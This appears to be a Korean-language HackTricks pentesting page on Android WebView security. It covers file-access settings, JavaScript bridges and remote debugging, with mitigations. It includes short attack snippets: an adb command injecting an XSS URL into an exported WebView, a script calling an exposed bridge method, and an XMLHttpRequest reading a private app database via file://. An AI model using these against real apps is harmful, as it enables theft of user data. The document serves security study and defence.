132 lines
7.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Webview Attacks
{{#include ../../banners/hacktricks-training.md}}
## Guide on WebView Configurations and Security
### Overview of WebView Vulnerabilities
Android 개발의 중요한 측면은 WebViews의 올바른 처리입니다. 이 가이드는 WebView 사용과 관련된 위험을 완화하기 위한 주요 구성 및 보안 관행을 강조합니다.
![WebView Example](<../../images/image (1190).png>)
### **File Access in WebViews**
기본적으로 WebViews는 파일 접근을 허용합니다. 이 기능은 Android API 레벨 3(Cupcake 1.5)부터 사용 가능한 `setAllowFileAccess()` 메서드에 의해 제어됩니다. **android.permission.READ_EXTERNAL_STORAGE** 권한이 있는 애플리케이션은 파일 URL 스킴(`file://path/to/file`)을 사용하여 외부 저장소에서 파일을 읽을 수 있습니다.
#### **Deprecated Features: Universal and File Access From URLs**
- **Universal Access From File URLs**: 이 사용 중단된 기능은 파일 URL에서 교차 출처 요청을 허용하여 잠재적인 XSS 공격으로 인한 상당한 보안 위험을 초래했습니다. 기본 설정은 Android Jelly Bean 및 이후 버전을 대상으로 하는 앱에 대해 비활성화(`false`)되어 있습니다.
- 이 설정을 확인하려면 `getAllowUniversalAccessFromFileURLs()`를 사용하십시오.
- 이 설정을 수정하려면 `setAllowUniversalAccessFromFileURLs(boolean)`를 사용하십시오.
- **File Access From File URLs**: 이 기능도 사용 중단되었으며, 다른 파일 스킴 URL에서 콘텐츠에 대한 접근을 제어했습니다. 유니버설 접근과 마찬가지로 기본값은 보안을 강화하기 위해 비활성화되어 있습니다.
- 확인하려면 `getAllowFileAccessFromFileURLs()`를 사용하고, 설정하려면 `setAllowFileAccessFromFileURLs(boolean)`를 사용하십시오.
#### **Secure File Loading**
자산 및 리소스에 접근하면서 파일 시스템 접근을 비활성화하려면 `setAllowFileAccess()` 메서드를 사용합니다. Android R 이상에서는 기본 설정이 `false`입니다.
- `getAllowFileAccess()`로 확인하십시오.
- `setAllowFileAccess(boolean)`로 활성화 또는 비활성화하십시오.
#### **WebViewAssetLoader**
**WebViewAssetLoader** 클래스는 로컬 파일을 로드하기 위한 현대적인 접근 방식입니다. 이는 로컬 자산 및 리소스에 접근하기 위해 http(s) URL을 사용하며, 동일 출처 정책에 맞춰 CORS 관리를 용이하게 합니다.
### loadUrl
이것은 웹뷰에서 임의의 URL을 로드하는 데 사용되는 일반적인 함수입니다:
```java
webview.loadUrl("<url here>")
```
물론, 잠재적인 공격자는 애플리케이션이 로드할 **URL**을 절대 **제어할 수 없어야** 합니다.
### **JavaScript 및 Intent 스킴 처리**
- **JavaScript**: WebViews에서 기본적으로 비활성화되어 있으며, `setJavaScriptEnabled()`를 통해 활성화할 수 있습니다. 적절한 안전 장치 없이 JavaScript를 활성화하면 보안 취약점이 발생할 수 있으므로 주의가 필요합니다.
- **Intent 스킴**: WebViews는 `intent` 스킴을 처리할 수 있으며, 신중하게 관리하지 않으면 악용될 수 있습니다. 한 예로, "support_url"이라는 노출된 WebView 매개변수가 XSS 공격을 실행하는 데 악용될 수 있는 취약점이 있었습니다.
![Vulnerable WebView](<../../images/image (1191).png>)
adb를 사용한 악용 예:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Android는 **JavaScript**가 WebView에서 **네이티브 Android 앱 기능**을 호출할 수 있도록 하는 기능을 제공합니다. 이는 `addJavascriptInterface` 메서드를 활용하여 JavaScript와 네이티브 Android 기능을 통합함으로써 이루어지며, 이를 _WebView JavaScript bridge_라고 합니다. 이 메서드는 WebView 내의 모든 페이지가 등록된 JavaScript Interface 객체에 접근할 수 있도록 하므로, 이러한 인터페이스를 통해 민감한 정보가 노출될 경우 보안 위험이 발생할 수 있으므로 주의가 필요합니다.
- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
#### Implementing a JavaScript Bridge
- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge는 WebView에 인터페이스를 추가하여 활성화됩니다:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- JavaScript를 통한 잠재적 악용, 예를 들어 XSS 공격을 통해 노출된 Java 메서드를 호출할 수 있습니다:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- 위험을 완화하기 위해, **JavaScript 브리지 사용을** APK와 함께 제공된 코드로 제한하고 원격 소스에서 JavaScript 로딩을 방지하십시오. 구형 장치의 경우 최소 API 수준을 17로 설정하십시오.
### 반사 기반 원격 코드 실행 (RCE)
- 문서화된 방법은 특정 페이로드를 실행하여 RCE를 달성할 수 있게 합니다. 그러나 `@JavascriptInterface` 주석은 무단 메서드 접근을 방지하여 공격 표면을 제한합니다.
### 원격 디버깅
- **원격 디버깅**은 **Chrome 개발자 도구**를 사용하여 가능하며, WebView 콘텐츠 내에서 상호작용 및 임의의 JavaScript 실행을 가능하게 합니다.
#### 원격 디버깅 활성화
- 원격 디버깅은 애플리케이션 내의 모든 WebView에 대해 활성화할 수 있습니다:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- 애플리케이션의 디버깅 가능 상태에 따라 조건부로 디버깅을 활성화하려면:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## 임의 파일 유출
- XMLHttpRequest를 사용하여 임의 파일의 유출을 시연합니다:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
## 참고문헌
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
{{#include ../../banners/hacktricks-training.md}}